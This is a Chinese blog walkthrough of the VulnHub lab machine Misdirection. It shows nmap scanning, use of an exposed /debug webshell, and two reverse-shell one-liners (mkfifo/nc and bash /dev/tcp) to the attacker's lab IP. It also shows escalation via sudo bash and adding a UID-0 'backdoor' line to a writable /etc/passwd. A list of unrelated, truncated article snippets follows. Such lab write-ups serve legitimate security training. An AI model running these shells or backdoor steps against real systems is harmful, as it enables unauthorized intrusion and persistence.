红队打靶:Misdirection打靶思路详解(vulnhub)
目录
写在开头
第一步:主机发现与端口扫描
第二步:Web渗透(80端口,战术放弃)
第三步:Web渗透(8080端口)
第四步:sudo bash提权
第五步:/etc/passwd利用提权
总结与思考
写在开头
本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Misdirection靶机也很简单,对于我们的启发就是渗透优先级的选择,当遇到攻击面暴露较多的路径时,可以先放一放,避免走进死胡同死磕不得解,应当优先渗透相对容易的方向或容易尝试的方向。本文涉及到的知识点包括:信息收集的技巧、常见反弹shell语句、sudo bash提权、viminfo敏感信息、/etc/passwd可写提权等,完整的打靶思路详见:
「红队笔记」靶机精讲:Misdirection - 渗透目标选择的优先级很重要,死磕一处和快速跳跃的权衡和智慧。_哔哩哔哩_bilibili
本文针对的靶机源于vulnhub,详情见:
Misdirection: 1 ~ VulnHub
下载链接见:
https://download.vulnhub.com/misdirection/Misdirection.zip
这个靶机好像用VMware和Virtual Box都可以,我就用VMware了,将靶机的网络设置为NAT模式,靶机打开如下图所示:
第一步:主机发现与端口扫描
常规思路,这里不细讲了。我kali的ip是10.10.10.128,主机发现靶机的ip是10.10.10.155,扫描出开放的TCP端口仅有22,80,3306和8080,具体命令如下:
nmap -sn 10.10.10.0/24 //主机发现
nmap -sT --min-rate 10000 10.10.10.155 //TCP全端口扫描
nmap -sT -sC -sV -O -p22,80,3306,8080 10.10.10.155 //用默认脚本扫描服务信息、操作系统版本
nmap --script=vuln -p22,80,3306,8080 10.10.10.155 //漏洞脚本扫描
nmap -sU --top-ports 20 10.10.10.155 //探测UDP最常见的20个端口的开放情况
信息挺多的,核心还是web端,可能80端口和8080端口都能作为攻击的入口点,同时3306是MySQL,也有可能存储一些关键信息。
第二步:Web渗透(80端口,战术放弃)
常规思路还是先看web端,浏览器访问靶机ip,界面如下:
感觉像是个挺正规的产品介绍网站,主要产品貌似是“免费可信赖的在线投票系统”。感觉像是有CMS,页面最下方有个banner说明这个网站使用web2py部署的:
点击链接可以查看web2py,很遗憾,这不是什么CMS,好像是个开发框架,不太了解,那我们回头再研究相关漏洞:
再回到初始页面,还是感觉页面的东西还是非常多,还有很多注册页面,甚至还有一个Source Code可以查看E-vote的源代码,在github上:
另外回头看一眼刚刚nmap漏洞扫描的结果,可以发现一些敏感的路径。比如/admin之类的
尝试访问漏洞脚本扫描中的几个目录枚举路径,很遗憾,都没啥收获:
另外漏洞脚本也暴露潜在的sql注入信息,感觉这个web的80端口入口点太多了,我有点不知所措了。另外目录爆破还没做呢。
世上无难事,只要肯放弃。于是我们先摆烂,跳过对80端口的渗透,因为突破口不太明显,可以尝试的地方比较多,容易在一个地方死磕浪费时间,不如先战略性放弃,如果8080端口没有突破口再回来看。
第三步:Web渗透(8080端口)
于是乎我们战略性跳过80端口,先看看8080端口有没有明显的突破口,访问浏览器,靶机ip:8080,就是个常规的apache页面:
回看nmap漏洞扫描脚本中关于8080端口的信息:发现有许多潜在的敏感目录:
依次尝试访问,最后在debug目录发现了神奇的景象:
直接把shell暴露在web页面了,这也太关键了。尝试输入whoami可以看到这是www-data的目录, 怪不得这个靶机的名称叫Misdirection,关键点在这儿呢!前面80端口复杂的web页面的估计都是误导哈哈哈。那么我们尝试反弹shell,把这个webshell迁移到我们的kali中,首先在kali中nc监听4444端口:
然后在webshell中输入以下两个命令中的任意一个均可实现反弹shell(别忘了修改ip为你的kali):
//以下两行任意一行都可以
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.128 4444 >/tmp/f
bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"
第四步:sudo bash提权
接下来就是提权了,通常来说www-data的权限是很小的。我们尝试sudo -l
看来是一波送分了。竟然可以免密运行bash,切换到brexit用户中,那么我们尝试提权:
sudo -u brexit /bin/bash
提权成功了!不过这个shell的交互性不是很好,我们尝试用python提高交互性:
python -c "import pty;pty.spawn('/bin/bash')"
查看user flag,就在brexit的家目录下:
第五步:/etc/passwd利用提权
经过一番搜索无果(sudo -l ,自动任务等)之后,在家目录中发现了一个隐藏的敏感文件,即.viminfo,这个文件应该是vim的历史信息。
查看.viminfo可以发现brexit这个用户曾经用vim编辑过/etc/passwd:
莫非当前brexit用户拥有对/etc/passwd的写权限?查看/etc/passwd的权限:
还真是有写权限,恰好属组就是brexit,那么问题就简单了,我们可以直接在/etc/passwd中追加一个账号作为root账号即可。也可以直接修改root的密码,此处我们就追加一条信息,账号是myroot,密码设置为123456,用openssl生成对应的hash如下:
openssl passwd -1 123456
然后我们仿照/etc/passwd的格式生成一个账号backdoor和密码123456:
backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash
接着把这条记录添加到/etc/passwd中,可以直接vim编辑,也可以用echo追加(特别注意,echo内容的引号必须是单引号,不能是双引号):
echo 'backdoor:$1$oFd2MoKR$eVjr6Fe7JWwjAPEfaTQSy.:0:0:root:/root:/bin/bash' >> /etc/passwd
添加完成后用su切换为backdoor用户,输入密码123456即可提权:
提权成功,flag位于/root目录下:
至此打靶完成。
总结与思考
这个靶机如果死磕80端口的话可能很难成功,但是题目名字Misdirection本身就给了我们提示。何谓”误导“?看似复杂,不知道从何下手的80端口就是误导。这个靶机的关键点就是发现8080端口下的/debug目录直接暴露了webshell。本次打靶的启发就是渗透优先级的选择:优先渗透攻击面明显、相对容易操作、步骤简单的攻击面,把复杂,不知从何入手的端口的渗透优先级降低。最后总结一下打靶过程:
第一步:主机发现和端口扫描。常规思路,发现四个常规端口22,80,3306,8080。重点关注漏洞扫描脚本中的目录枚举。
第二步:80端口渗透。看着就头大,信息非常多,战略性暂时放弃。
第三步:8080端口渗透。发现关键目录/debug存在webshell,直接暴露了www-data的shell,构造反弹shell将此webshell转移至本地kali交互。
第四步:sudo提权,发现可以sudo bash转换到brexit用户,初步提权到了brexit的权限。
第五步:可写/etc/passwd提权,在brexit家目录发现敏感文件.viminfo,暴露了对passwd的编辑历史,说明passwd对于用户brexit可写,于是追加高权限的用户信息到passwd,再su即可提权。
这个靶机到这里就结束了。说实话,这个靶机的总结我拖了好几天才写完,主要还是感觉动力不足,没有太多的额外知识点,关键在于不能死磕80端口。总结一篇博客真的挺耗时的,恳请各位读者多多点赞关注支持啦。学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!
相关文章:

红队打靶:Misdirection打靶思路详解(vulnhub)
目录 写在开头 第一步:主机发现与端口扫描 第二步:Web渗透(80端口,战术放弃) 第三步:Web渗透(8080端口) 第四步:sudo bash提权 第五步:/etc/passwd利…...

10.23归并排序
课上 归并排序 最大时,就是两个都是完全倒序,但注意一定有一个序列先用完,此时剩一个序列只有一个元素,不用比较,直接加入,所以就是nn-1, 最小时,是都是完全有序,且一个序列中的元…...

[C++]:2初识C++(auto) + 类和对象上:
[TOC](初识C(auto) 类和对象上) 一.初始C 1.auto关键字:(C11) 1.作为一个变量的类型给这个类型初始化,auto自动识别初始化这个变量值的类型,为auto类型的这个变量开辟一个合适的空间。 补充: 1.typeid(变量名).name—>可以打…...
大学英语试卷
大学英语试卷 If everyone learns to set forth facts and reason things out in social life, many of the contradictions are easy to ____. A. oblige B. engage C. resolve D. commitIf we let the fastest runner set the____, the others will fall behind. A. pace B.…...

SpringBoot Lombok的使用
目录 下载Lombok插件 Lombok的用法 获取日志对象 生成get,set方法 Lombok框架的实现原理 Lombok的常用注解 下载Lombok插件 要使用Lombok首先要确保idea安装了lombok插件 在项目中添加 lombok依赖 在<dependency>里右键生成点击edit starters 插件(没有就下载,可…...

后台管理系统SQL注入漏洞
对于edu来说,是新人挖洞较好的平台,本次记录一次走运的捡漏0x01 前景 在进行fofa盲打站点的时候,来到了一个后台管理处看到集市二字,应该是edu站点 确认目标身份(使用的quake进行然后去ipc备案查询) 网…...
变量常用函数
查看变量类型 type(变量名) 用来查询变量所指的对象类型 >>> a, b, c, d 20, 5.5, True, 43j >>> print(type(a), type(b), type(c), type(d)) <class int> <class float> <class bool> <class complex> 基础数据类型 # coding…...
从零学算法(LCR 157)
某店铺将用于组成套餐的商品记作字符串 goods,其中 goods[i] 表示对应商品。请返回该套餐内所含商品的 全部排列方式 。 返回结果 无顺序要求,但不能含有重复的元素。 示例 1: 输入:goods “agew” 输出:[“aegw”,“aewg”,“ag…...
mysql 优化 聚簇索引=主键索引吗
在 InnoDB 引擎中,每张表都会有一个特殊的索引“聚簇索引”,也被称之为聚集索引,它是用来存储行数据的。一般情况下,聚簇索引等同于主键索引,但这里有一个前提条件,那就是这张表需要有主键,只有…...
c# ManualResetEvent WaitHandle 实现同步
//本文演示了ManualResetEvent 类的非静态set()、Reset()、WaitOne()和 //WaitHandle类的静态方法WaitAllWaitAll() //它们用于线程间的同步控制。 //实现了如下功能:线程1(定时控制)通知线程2和线程3采集数据 //线程2和3数据采集完了&am…...

使用Packstack安装器安装一体化OpenStack云平台
【实训目的】 初步掌握OpenStack快捷安装的方法。掌握OpenStack图形界面的基本操作。 【实训准备】 (1)准备一台能够安装OpenStack的实验用计算机,建议使用VMware虚拟机。 (2)该计算机应安装CentOS 7,建…...

【Rust】4 一文讲解重点 pattern matching | trait | 生命周期 | 闭包 | 迭代器 | 智能指针 | 并发与并行
文章目录 一、pattern matching二、trait2.1 常见 trait2.1.1 Copy 和 Clone2.1.2 PartialEq 和 Eq2.1.3 PartialOrd 和 Ord2.1.4 Hash2.1.5 From, Into, TryFrom, TryInto 2.2 概念2.2.1 关联类型2.2.2 关联常量2.3.3 泛型关联类型2.3.3.1 示例: 用泛型关联类型, 创建集合工厂…...

idea Java代码格式化规范
文章目录 引入基础知识代码模板idea模板eclipse模板1.安装插件2.生成配置文件3.导入配置文件 附录一:xml配置项说明附录二:赠送 引入 最近在公司开发中,遇到了一点小问题,组内各同事的格式化规范不一致。一来导致代码样式并不统一…...

apple MFI工厂认证,干货,为防止MFI工作人员查看,已设置VIP阅读
一开始以为审核特别严格,准备了好久,经历过了之后会发现很简单,1个小时完成了所有审核事项。 好好招待审计员,比如能接送就接送,到点吃饭就尽量约时间吃饭后再审计,找个正式的会议室,该摆盘水果就摆上,让审计员感觉到公司是很重视这次的MFI审核,但是不能贿赂发红包那…...

软件企业知识库应用场景?如何搭建软件企业知识库?
想要减少人工干预、减少不必要的时间和人力成本、快速获取准确信息……这些应用场景对于我们企业来说是非常渴望在短期内实现的。 软件企业知识库 因为传统知识库仅仅是存储:知识只是“存储”,根本用不起来,缺乏有效的管理方式和储存载体&am…...
华为OD 滑动窗口最大值(100分)【java】B卷
华为OD统一考试A卷+B卷 新题库说明 你收到的链接上面会标注A卷还是B卷。目前大部分收到的都是B卷。 B卷对应20022部分考题以及新出的题目,A卷对应的是新出的题目。 我将持续更新最新题目 获取更多免费题目可前往夸克网盘下载,请点击以下链接进入: 我用夸克网盘分享了「华为O…...

软件测试 (用例篇)
前言 上一篇博客讲述的是一次基本的测试过程。 在我们开始做了一段时间基础测试,熟悉了业务之后,往往会分配来写测试用例,并且在日常测试中,有时也需要补充测试用例到现有的案例库中。 在这里我们将回答以下问题 1、测试用例的…...

5G技术的飞速发展:连接未来
随着科技的日益进步,5G通讯技术已经成为了全球科技领域的热门话题。5G,即第五代移动通信技术,带来的不仅仅是更快的网络速度,它的高带宽和低延迟特性将为未来的数字世界奠定基础。 速度与效率的飞跃: 5G技术的最大亮点是它极高的下…...

linux进程管理,一个进程的一生(喂饭级教学)
这篇文章谈谈linux中的进程管理。 一周爆肝,创作不易,望支持! 希望对大家有所帮助!记得收藏! 要理解进程管理,重要的是周边问题,一定要知其然,知其所以然。看下方目录就知道都是干货…...
【SA8295P 源码分析 (四)】51 - QNX NFS Server + Android NFS Client 完整配置
【SA8295P 源码分析】51 - QNX NFS Server + Android NFS Client 完整配置 一、QNX 侧 NFS Server 修改:ip 为 192.168.118.21.1 配置拷贝 nfsd、rpcbind 到 /mnt 目录下1.2 配置 exports1.3 为NFS 共享目录挂载镜像1.4 修 startup.sh 开机自启动 nfsd Server1.5 关闭 QNX 防火…...
模型参数、模型存储精度、参数与显存
模型参数量衡量单位 M:百万(Million) B:十亿(Billion) 1 B 1000 M 1B 1000M 1B1000M 参数存储精度 模型参数是固定的,但是一个参数所表示多少字节不一定,需要看这个参数以什么…...
在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能
下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能,包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...
c++ 面试题(1)-----深度优先搜索(DFS)实现
操作系统:ubuntu22.04 IDE:Visual Studio Code 编程语言:C11 题目描述 地上有一个 m 行 n 列的方格,从坐标 [0,0] 起始。一个机器人可以从某一格移动到上下左右四个格子,但不能进入行坐标和列坐标的数位之和大于 k 的格子。 例…...

【JavaWeb】Docker项目部署
引言 之前学习了Linux操作系统的常见命令,在Linux上安装软件,以及如何在Linux上部署一个单体项目,大多数同学都会有相同的感受,那就是麻烦。 核心体现在三点: 命令太多了,记不住 软件安装包名字复杂&…...

Selenium常用函数介绍
目录 一,元素定位 1.1 cssSeector 1.2 xpath 二,操作测试对象 三,窗口 3.1 案例 3.2 窗口切换 3.3 窗口大小 3.4 屏幕截图 3.5 关闭窗口 四,弹窗 五,等待 六,导航 七,文件上传 …...

C# 表达式和运算符(求值顺序)
求值顺序 表达式可以由许多嵌套的子表达式构成。子表达式的求值顺序可以使表达式的最终值发生 变化。 例如,已知表达式3*52,依照子表达式的求值顺序,有两种可能的结果,如图9-3所示。 如果乘法先执行,结果是17。如果5…...

关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...

《Docker》架构
文章目录 架构模式单机架构应用数据分离架构应用服务器集群架构读写分离/主从分离架构冷热分离架构垂直分库架构微服务架构容器编排架构什么是容器,docker,镜像,k8s 架构模式 单机架构 单机架构其实就是应用服务器和单机服务器都部署在同一…...

FFmpeg avformat_open_input函数分析
函数内部的总体流程如下: avformat_open_input 精简后的代码如下: int avformat_open_input(AVFormatContext **ps, const char *filename,ff_const59 AVInputFormat *fmt, AVDictionary **options) {AVFormatContext *s *ps;int i, ret 0;AVDictio…...

从物理机到云原生:全面解析计算虚拟化技术的演进与应用
前言:我的虚拟化技术探索之旅 我最早接触"虚拟机"的概念是从Java开始的——JVM(Java Virtual Machine)让"一次编写,到处运行"成为可能。这个软件层面的虚拟化让我着迷,但直到后来接触VMware和Doc…...